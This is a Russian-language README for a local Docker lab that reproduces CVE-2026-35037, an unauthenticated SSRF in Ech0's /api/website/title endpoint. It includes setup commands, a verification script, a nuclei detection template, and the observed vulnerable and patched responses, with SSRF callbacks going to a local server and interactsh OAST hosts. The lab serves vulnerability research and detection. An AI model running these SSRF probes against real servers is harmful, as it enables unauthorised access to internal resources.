
POC_CVE-2026-35037
Этот репозиторий содержит локальную изолированную лабораторию для воспроизведения CVE-2026-35037, неавторизованной SSRF-уязвимости в конечной точке GET /api/website/title продукта Ech0.
Лаборатория использует контролируемый локальный сервер подтверждения вместо облачных метаданных или сторонней инфраструктуры.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1; NVD описывает версии до 4.2.84.2.8GET /api/website/titlewebsite_urlСсылки:
docker-compose.yml: запускает Ech0 и локальный HTTP-сервер подтвержденияDockerfile.ech0-lab: собирает Ech0 из официального тега GitHubverify-cve-2026-35037.sh: отправляет контрольный запрос проверки SSRFevidence/index.html: контролируемая HTML-страница с уникальным <title>nuclei/CVE-2026-35037.yaml: шаблон nuclei (кандидат)Исторические уязвимые Docker-теги, такие как sn0wl1n/ech0:4.2.1, были недоступны при создании этой лаборатории. Лаборатория собирается из официальных тегов GitHub lin-snow/Ech0:
v4.2.1 для уязвимого кандидатаv4.2.8 для сравнения с исправленной версиейЛокальный Dockerfile также обходит проблемы сборки, наблюдавшиеся с историческим build.Dockerfile.
curlnucleiЗапускайте это только в локальной изолированной лаборатории. Не используйте эти команды против сторонних систем. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Запустите Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
Отправьте контрольный запрос проверки:
sh verify-cve-2026-35037.sh
Ожидаемый уязвимый ответ:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Подтвердите, что Ech0 достиг контролируемого сервера подтверждения:
docker compose logs evidence
Наблюдаемый лог подтверждения:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Запустите Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
Выполните тот же запрос:
sh verify-cve-2026-35037.sh
Наблюдаемый исправленный ответ:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
Проверьте шаблон:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
Запустите против уязвимой v4.2.1:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Наблюдаемый уязвимый результат:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
Запустите против исправленной v4.2.8:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Наблюдаемый исправленный результат:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ внутри сети Docker Compose.{{interactsh-url}} и требует поддержки OAST/interactsh.{{interactsh-url}}, который по умолчанию обращается к серверам interactsh от ProjectDiscovery, таким как oast.online или oast.fun. Используйте -iserver для переопределения сервера или -ni для отключения interactsh.